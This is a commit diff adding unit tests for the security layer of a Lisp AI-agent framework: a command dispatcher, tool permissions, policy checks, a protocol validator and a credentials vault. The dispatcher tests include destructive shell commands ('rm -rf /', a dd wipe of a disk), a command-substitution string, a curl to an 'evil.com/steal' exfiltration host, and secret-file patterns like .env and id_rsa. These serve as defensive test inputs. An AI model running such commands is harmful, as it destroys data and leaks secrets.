security: contracts + tests for all 5 security modules (87→123 checks)

lisp/core-defpackage.lisp

@@ -3,7 +3,8 @@
   (:export
    #:frame-message
    #:read-framed-message
-   #:PROTO-GET
+    #:PROTO-GET
+    #:proto-get
    #:LIST-OBJECTS-WITH-ATTRIBUTE
    #:COSINE-SIMILARITY
    #:VAULT-MASK-STRING
@@ -79,6 +80,12 @@
     #:hitl-approve
     #:hitl-deny
     #:hitl-handle-message
+    #:dispatcher-check-secret-path
+    #:dispatcher-check-shell-safety
+    #:dispatcher-check-privacy-tags
+    #:dispatcher-check-network-exfil
+    #:dispatcher-gate
+    #:wildcard-match
     #:actuator-initialize
    #:dispatch-action
    #:register-actuator
@@ -138,9 +145,11 @@
    #:get-oc-config-dir
    #:prompt-for
    #:save-secret
-   #:get-tool-permission
-   #:set-tool-permission
-   #:check-tool-permission-gate
+    #:get-tool-permission
+    #:set-tool-permission
+    #:check-tool-permission-gate
+    #:permission-get
+    #:permission-set
    #:cognitive-tool
    #:cognitive-tool-name
    #:cognitive-tool-description
@@ -156,10 +165,14 @@
    #:distill-prompt
    #:*probabilistic-backends*
    #:*provider-cascade*
-   #:vault-get-secret
-   #:vault-set-secret
+    #:vault-get
+    #:vault-set
+    #:vault-get-secret
+    #:vault-set-secret
     #:memory-objects-by-attribute
-    #:find-headline-missing-id))
+    #:find-headline-missing-id
+    #:policy-compliance-check
+    #:validator-protocol-check))
 
 (in-package :passepartout)
 

lisp/security-dispatcher.lisp

@@ -401,3 +401,49 @@ Recognized formats:
   :priority 150
   :trigger (lambda (ctx) (declare (ignore ctx)) t)
   :deterministic #'dispatcher-gate)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-dispatcher-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:dispatcher-suite))
+
+(in-package :passepartout-security-dispatcher-tests)
+
+(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
+(in-suite dispatcher-suite)
+
+(test test-wildcard-match
+  "Contract 1: wildcard pattern * matches any characters."
+  (is (wildcard-match "*.env" ".env"))
+  (is (wildcard-match "*.env" "prod.env"))
+  (is (wildcard-match "*credential*" "my-credential-file"))
+  (is (wildcard-match "*.key" "id_rsa.key"))
+  (is (not (wildcard-match "*.env" "config.yaml"))))
+
+(test test-check-secret-path
+  "Contract 2: dispatcher-check-secret-path matches protected patterns."
+  (is (dispatcher-check-secret-path ".env"))
+  (is (dispatcher-check-secret-path "id_rsa"))
+  (is (not (dispatcher-check-secret-path "README.org"))))
+
+(test test-check-shell-safety
+  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
+  (is (dispatcher-check-shell-safety "rm -rf /"))
+  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
+  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
+  (is (not (dispatcher-check-shell-safety "echo hello world")))
+  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
+
+(test test-check-privacy-tags
+  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
+  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
+  (is (dispatcher-check-privacy-tags '("@personal")))
+  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
+
+(test test-check-network-exfil
+  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
+  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
+  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
+  (is (not (dispatcher-check-network-exfil "echo hello"))))

lisp/security-permissions.lisp

@@ -1,3 +1,5 @@
+(in-package :passepartout)
+
 (defvar *permission-table* (make-hash-table :test 'equal))
 
 (defun permission-set (tool-name level)
@@ -11,3 +13,32 @@
 (defskill :passepartout-security-permissions
   :priority 600
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-permissions-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:permissions-suite))
+
+(in-package :passepartout-security-permissions-tests)
+
+(def-suite permissions-suite :description "Verification of Tool Permissions")
+(in-suite permissions-suite)
+
+(test test-permission-round-trip
+  "Contract 1: permission-set stores a level; permission-get retrieves it."
+  (permission-set "test-tool" :allow)
+  (is (eq :allow (permission-get "test-tool")))
+  ;; Clean up
+  (permission-set "test-tool" nil))
+
+(test test-permission-default
+  "Contract 2: unregistered tools default to :ask."
+  (is (eq :ask (permission-get "never-registered-tool-xyz"))))
+
+(test test-permission-case-insensitive
+  "Contract 3: tool names are normalized to lowercase."
+  (permission-set :CapitalTool :deny)
+  (is (eq :deny (permission-get :capitaltool)))
+  (permission-set "CapitalTool" nil))

lisp/security-policy.lisp

@@ -1,3 +1,5 @@
+(in-package :passepartout)
+
 (defun policy-compliance-check (action context)
   "Enforces constitutional invariants on proposed actions."
   (declare (ignore context))
@@ -15,3 +17,34 @@
   :priority 500
   :trigger (lambda (ctx) (declare (ignore ctx)) t)
   :deterministic #'policy-compliance-check)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-policy-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:policy-suite))
+
+(in-package :passepartout-security-policy-tests)
+
+(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
+(in-suite policy-suite)
+
+(test test-policy-passes-valid-explanation
+  "Contract 1: action with sufficient explanation passes through unchanged."
+  (let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
+         (result (policy-compliance-check action nil)))
+    (is (equal action result))))
+
+(test test-policy-rejects-short-explanation
+  "Contract 1: action with explanation ≤10 characters is rejected with :LOG."
+  (let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
+         (result (policy-compliance-check action nil)))
+    (is (eq :LOG (getf result :type)))
+    (is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
+
+(test test-policy-rejects-missing-explanation
+  "Contract 1: action without :explanation is rejected."
+  (let* ((action '(:type :REQUEST :payload (:action :read)))
+         (result (policy-compliance-check action nil)))
+    (is (eq :LOG (getf result :type)))))

lisp/security-validator.lisp

@@ -1,3 +1,5 @@
+(in-package :passepartout)
+
 (defun validator-protocol-check (msg)
   "Enforces structural schema compliance on protocol messages."
   (validate-communication-protocol-schema msg))
@@ -11,3 +13,31 @@
                        (progn (validator-protocol-check action) action)
                      (error (c)
                        (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-validator-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:validator-suite))
+
+(in-package :passepartout-security-validator-tests)
+
+(def-suite validator-suite :description "Verification of the Protocol Validator")
+(in-suite validator-suite)
+
+(test test-validator-passes-valid-message
+  "Contract 1: a valid message passes protocol check."
+  (let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
+    (handler-case
+        (progn
+          (validator-protocol-check msg)
+          (pass))
+      (error (c)
+        (fail "Validator rejected a valid message: ~a" c)))))
+
+(test test-validator-rejects-missing-type
+  "Contract 1: a message missing :type is rejected."
+  (let ((msg '(:payload (:sensor :heartbeat))))
+    (signals error
+      (validator-protocol-check msg))))

lisp/security-vault.lisp

@@ -1,3 +1,5 @@
+(in-package :passepartout)
+
 (defvar *vault-memory* (make-hash-table :test 'equal)
   "In-memory cache of sensitive credentials.")
 
@@ -31,3 +33,54 @@
 (defskill :passepartout-security-vault
   :priority 600
   :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-vault-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:vault-suite))
+
+(in-package :passepartout-security-vault-tests)
+
+(def-suite vault-suite :description "Verification of the Credentials Vault")
+(in-suite vault-suite)
+
+(test test-vault-round-trip
+  "Contract 1: vault-set stores a value; vault-get retrieves it."
+  (let ((test-key :vault-test-round-trip)
+        (test-secret "secret-abc123"))
+    (vault-set test-key test-secret)
+    (is (string= test-secret (vault-get test-key)))
+    ;; Clean up
+    (vault-set test-key nil)))
+
+(test test-vault-missing-key
+  "Contract 2: vault-get returns NIL for an unset, unknown provider."
+  (is (null (vault-get :nonexistent-provider-xyz))))
+
+(test test-vault-isolation
+  "Contract 5: storing for provider A does not affect provider B."
+  (vault-set :vault-prov-a "secret-a")
+  (vault-set :vault-prov-b "secret-b")
+  (is (string= "secret-a" (vault-get :vault-prov-a)))
+  (is (string= "secret-b" (vault-get :vault-prov-b)))
+  (vault-set :vault-prov-a nil)
+  (vault-set :vault-prov-b nil))
+
+(test test-vault-secret-wrappers
+  "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
+  (let ((test-provider :vault-secret-test))
+    (vault-set-secret test-provider "my-token")
+    (is (string= "my-token" (vault-get-secret test-provider)))
+    ;; Clean up
+    (vault-set-secret test-provider nil)))
+
+(test test-vault-type-isolation
+  "Contract 5: different :type values produce different keys."
+  (vault-set :vault-type-test "key-value" :type :api-key)
+  (vault-set :vault-type-test "secret-value" :type :secret)
+  (is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
+  (is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
+  (vault-set :vault-type-test nil :type :api-key)
+  (vault-set :vault-type-test nil :type :secret))